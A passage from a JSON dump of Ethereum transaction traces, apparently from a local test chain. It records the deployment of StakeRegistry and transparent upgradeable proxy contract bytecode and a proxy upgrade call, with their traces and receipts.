600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613557565b81548110610f6957610f6961349e565b9060005260206000200183878381518110610f8657610f8661349e565b602002602001015181548110610f9e57610f9e61349e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161356a565b6000828152602081208201600019908101919091550190558154829061101990600190613557565b815481106110295761102961349e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61349e565b6020026020010151815481106110725761107261349e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061356a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461112d5760405162461bcd60e51b8152600401610611906134cf565b6000805b8381101561123657600085858381811061114d5761114d61349e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612ef4565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761349e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61349e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613557565b6114699190613557565b815481106114795761147961349e565b60009182526020909120015463ffffffff16116114d757600161149c8284613557565b6114a69190613557565b8585815181106114b8576114b861349e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61349e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190613405565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613422565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133b4565b6117c283836123f7565b505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461180f5760405162461bcd60e51b8152600401610611906134cf565b60005b818110156118e357600083838381811061182e5761182e61349e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190613405565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613422565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133b4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613557565b81548110611a8c57611a8c61349e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613557565b81548110611bec57611bec61349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61349e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c1614611cea5760405162461bcd60e51b8152600401610611906134cf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91692639004134792611ea1928c9201613580565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135e2565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761349e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561349e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61349e565b6020026020010151611fae919061366d565b611fb89190613684565b611fc290866136a6565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613557565b815481106120fe576120fe61349e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613557565b815481106122b4576122b461349e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374b83398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136c5565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374b83398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136c5565b811015612646578482815181106125895761258961349e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861349e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61349e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661349e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61349e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261349e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61349e565b60200260200101516000015186848151811061285d5761285d61349e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613557565b81548110612a6c57612a6c61349e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613557565b925050506114ee565b80612aa1816136d8565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136ef565b600080821215612baa57612b998261370f565b612ba3908461372b565b9050610cae565b612ba382846136a6565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b03811115612d0057600080fd5b612d0c88828901612c80565b90955093505060408601356001600160401b03811115612d2b57600080fd5b612d3788828901612c80565b969995985093965092949392505050565b60008083601f840112612d5a57600080fd5b5081356001600160401b03811115612d7157600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9f57600080fd5b8435612daa81612c31565b93506020850135925060408501356001600160401b03811115612dcc57600080fd5b612dd887828801612d48565b95989497509550505050565b600081518084526020840193506020830160005b82811015612e1f5781516001600160601b0316865260209586019590910190600101612df8565b5093949350505050565b604081526000612e3c6040830185612de4565b82810360208401526123ee8185612de4565b60008060408385031215612e6157600080fd5b82359150612e7160208401612bb4565b90509250929050565b602080825282518282018190526000918401906040840190835b81811015612ee957612ed383855163ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b6020939093019260609290920191600101612e94565b509095945050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2c57612f2c612ef4565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5a57612f5a612ef4565b604052919050565b60006001600160401b03821115612f7b57612f7b612ef4565b5060051b60200190565b60008060408385031215612f9857600080fd5b612fa183612bb4565b915060208301356001600160401b03811115612fbc57600080fd5b8301601f81018513612fcd57600080fd5b8035612fe0612fdb82612f62565b612f32565b8082825260208201915060208360051b85010192508783111561300257600080fd5b6020840193505b82841015613024578335825260209384019390910190613009565b809450505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305b57600080fd5b61306484613032565b925060208401356001600160401b0381111561307f57600080fd5b61308b86828701612d48565b9497909650939450505050565b602080825282518282018190526000918401906040840190835b81811015612ee957835163ffffffff168352602093840193909201916001016130b2565b6000806000606084860312156130eb57600080fd5b6130f484612bb4565b95602085013595506040909401359392505050565b60608101610cae828463ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561316d57600080fd5b61317683612bb4565b9150612e7160208401613143565b60008060006040848603121561319957600080fd5b8335925060208401356001600160401b0381111561307f57600080fd5b600082601f8301126131c757600080fd5b81356131d5612fdb82612f62565b8082825260208201915060208360061b8601019250858311156131f757600080fd5b602085015b83811015611236576040818803121561321457600080fd5b61321c612f0a565b813561322781612c31565b815261323560208301613143565b6020820152808452506020830192506040810190506131fc565b6000806040838503121561326257600080fd5b61326b83612bb4565b915060208301356001600160401b0381111561328657600080fd5b613292858286016131b6565b9150509250929050565b6000806000606084860312156132b157600080fd5b6132ba84612bb4565b92506132c860208501613032565b929592945050506040919091013590565b6000806000606084860312156132ee57600080fd5b833592506132fe60208501612bb4565b915061330c60408501613032565b90509250925092565b6000806000806080858703121561332b57600080fd5b61333485612bb4565b935061334260208601613032565b93969395505050506040820135916060013590565b60008060006060848603121561336c57600080fd5b61337584612bb4565b925061338360208501613143565b915060408401356001600160401b0381111561339e57600080fd5b6133aa868287016131b6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561341757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134c657600080fd5b6114ee82613143565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613541565b634e487b7160e01b600052603160045260246000fd5b6001600160a01b0383168152604060208083018290528354918301829052600084815290812090916060840190835b818110156135d65783546001600160a01b03168352600193840193602090930192016135af565b50909695505050505050565b6000602082840312156135f457600080fd5b81516001600160401b0381111561360a57600080fd5b8201601f8101841361361b57600080fd5b8051613629612fdb82612f62565b8082825260208201915060208360051b85010192508683111561364b57600080fd5b6020840193505b82841015612276578351825260209384019390910190613652565b8082028115828204841417610cae57610cae613541565b6000826136a157634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b038181168382160190811115610cae57610cae613541565b80820180821115610cae57610cae613541565b6000816136e7576136e7613541565b506000190190565b818103600083128015838313168383128216171561062b5761062b613541565b6000600160ff1b820161372457613724613541565b5060000390565b6001600160601b038281168282160390811115610cae57610cae61354156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a2646970667358221220ade96e3ade679b88daf0a3f2ca01448425dba1d13a0dbd3a632fb89841cd4fea64736f6c634300081c0033","nonce":42,"gas_used":3129679},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x2fc14f","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xe90006fde8c5e6d0311f3ef636eed001b7704319356fc8f642a53dc6a96dbb93","block_number":6},{"info":{"transaction_hash":"0xea8d6e33dc169f638f10dce03cffccc4d4e8594d0211415af99ea7330abe0032","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x99a88ec4000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e0000000000000000000000008f86403a4de0bb5791fa46b8e795c547942fe4cf","output":"0x","gas_used":17021,"gas_limit":31821,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x998abeb3e57409262ae5b751f60747921b33613e","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x3659cfe60000000000000000000000008f86403a4de0bb5791fa46b8e795c547942fe4cf","output":"0x","gas_used":11547,"gas_limit":25979,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000008f86403a4de0bb5791fa46b8e795c547942fe4cf"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":45,"gas_used":38821},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1bff35","logs":[{"address":"0x998abeb3e57409262ae5b751f60747921b33613e","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000008f86403a4de0bb5791fa46b8e795c547942fe4cf"],"data":"0x"}],"logsBloom":"0x00002000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000002400000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x8eecd2201ca2fdea7d1a691a450ac2195037df85b0ac1dc9384b81dc86d4ac37","block_number":7},{"info":{"transaction_hash":"0x270f5665c89b4abca1028c602097170fb3da69543a0a0d50d7b432b3900a04b6","transaction_index":2,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61031